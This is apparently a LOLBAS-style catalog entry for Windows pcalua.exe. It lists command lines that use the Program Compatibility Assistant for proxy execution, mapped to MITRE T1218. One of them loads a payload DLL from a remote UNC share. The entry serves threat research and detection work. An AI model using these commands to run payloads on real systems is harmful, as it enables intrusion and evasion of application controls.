.. / Pcalua.exe
Star

Program Compatibility Assistant


Paths:


Resources:
https://twitter.com/KyleHanslovan/status/912659279806640128

Acknowledgement:
Kyle Hanslovan - @kylehanslovan
Fab - @0rbz_


Detection:



Execute

Open the target .EXE using the Program Compatibility Assistant.
pcalua.exe -a calc.exe
Usecase:Proxy execution of binary
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1218



Open the target .DLL file with the Program Compatibilty Assistant.
pcalua.exe -a \\server\payload.dll
Usecase:Proxy execution of remote dll file
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1218



Open the target .CPL file with the Program Compatibility Assistant.
pcalua.exe -a C:\Windows\system32\javacpl.cpl -c Java
Usecase:Execution of CPL files
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1218